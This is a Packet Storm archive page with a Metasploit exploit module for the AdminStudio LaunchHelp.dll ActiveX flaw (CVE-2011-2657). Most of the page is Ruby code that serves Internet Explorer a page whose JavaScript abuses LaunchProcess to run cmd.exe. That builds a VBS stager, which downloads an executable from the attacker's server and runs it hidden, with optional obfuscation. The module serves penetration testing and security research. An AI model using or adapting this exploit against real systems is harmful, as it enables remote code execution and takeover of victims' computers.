what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

AdminStudio LaunchHelp.dll ActiveX Arbitrary Code Execution

AdminStudio LaunchHelp.dll ActiveX Arbitrary Code Execution
Posted Jul 9, 2012
Authored by rgod, juan | Site metasploit.com

This Metasploit module exploits a vulnerability in AdminStudio LaunchHelp.dll ActiveX control. The LaunchProcess function found in LaunchHelp.HelpLauncher.1 allows remote attackers to run arbitrary commands on the victim machine. This Metasploit module has been successfully tested with the ActiveX installed with AdminStudio 9.5, which also comes with Novell ZENworks Configuration Management 10 SP2, on IE 6 and IE 8 over Windows XP SP 3.

tags | exploit, remote, arbitrary, activex
systems | windows
advisories | CVE-2011-2657, OSVDB-76700
SHA-256 | 56cf9879c132897ee3261274e09284b0d6081bb9dd195db9cee39698cd90dbba

AdminStudio LaunchHelp.dll ActiveX Arbitrary Code Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'AdminStudio LaunchHelp.dll ActiveX Arbitrary Code Execution',
'Description' => %q{
This module exploits a vulnerability in AdminStudio LaunchHelp.dll ActiveX control. The
LaunchProcess function found in LaunchHelp.HelpLauncher.1 allows remote attackers to run
arbitrary commands on the victim machine. This module has been successfully tested with the
ActiveX installed with AdminStudio 9.5, which also comes with Novell ZENworks Configuration
Management 10 SP2, on IE 6 and IE 8 over Windows XP SP 3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod', # Vulnerability discovery
'juan' # Metasploit module
],
'References' =>
[
[ 'CVE', '2011-2657' ],
[ 'OSVDB', '76700'],
[ 'BID', '50274' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-318/' ],
[ 'URL', 'http://www.novell.com/support/viewContent.do?externalId=7009570&sliceId=1' ],
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
# LaunchHelp.dll 9.5.0.0
[ 'Windows Universal', {} ],
],
'DisclosureDate' => 'Oct 19 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('WINDOWSTEMP', [ true, "The Windows temporal folder.", "C:/Windows/Temp" ]),
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
], self.class)
end

def on_new_session(client)
if client.type != "meterpreter"
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
print_error("The vbs stager and exe payload must be removed manually.")
return
end

# stdapi must be loaded before we can use fs.file
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

begin
print_status("Deleting the vbs payload \"#{@stager_name}\" ...")
client.fs.file.rm("#{@temp_folder}/#{@stager_name}")
print_good("The vbs stager has been deleted successfully")
print_status("The exe payload #{@temp_folder}/#{@payload_name}.exe must be removed manually")
rescue ::Exception => e
print_error("Problems while the clenaup")
print_status("The vbs stager #{@temp_folder}/#{@stager_name} must be removed manually")
print_status("The exe payload #{@temp_folder}/#{@payload_name}.exe must be removed manually")
print_error("Exception: #{e.inspect}")
return
end
end

# Stager wrote by sinn3r to avoid problems when echoing the vbs cmdstager too many times.
# See "real_arcade_installerdlg.rb" for more information.
def build_vbs(url)
name_xmlhttp = rand_text_alpha(2)
name_adodb = rand_text_alpha(2)

tmp = "#{@temp_folder}/#{@stager_name}"

vbs = "echo Set #{name_xmlhttp} = CreateObject(\"Microsoft.XMLHTTP\") "
vbs << ": #{name_xmlhttp}.open \"GET\",\"http://#{url}\",False : #{name_xmlhttp}.send"
vbs << ": Set #{name_adodb} = CreateObject(\"ADODB.Stream\") "
vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
vbs << ": #{name_adodb}.SaveToFile \"#{@temp_folder}/#{@payload_name}.exe\",2 "
vbs << ": CreateObject(\"WScript.Shell\").Run \"#{@temp_folder}/#{@payload_name}.exe\",0 >> #{tmp}"
return vbs
end

def exploit
@payload_name = rand_text_alpha(4)
@temp_folder = datastore['WINDOWSTEMP']
@stager_name = rand_text_alpha(6) + ".vbs"
super
end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

# Avoid the attack if the victim doesn't have the same setup we're targeting
if not agent =~ /MSIE/
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end

if request.uri =~ /\.exe/
print_status("Sending payload EXE")
return if ((p=regenerate_payload(cli)) == nil)
data = generate_payload_exe( {:code=>p.encoded} )
send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
return
end

# Payload's URL
payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe"

# Create the stager (download + execute payload)
stager = build_vbs(payload_src)

js = <<-JS
var actvx = new ActiveXObject('LaunchHelp.HelpLauncher.1');
actvx.LaunchProcess("cmd.exe", '/c #{stager}');
actvx.LaunchProcess("cmd.exe", "/c start #{@temp_folder}/#{@stager_name}");
JS

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

html = <<-EOS
<html>
<body>
<script>
#{js}
</script>
</body>
</html>
EOS

# Remove extra tabs
html = html.gsub(/^\t\t/, "")

print_status("Sending #{self.name}")
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close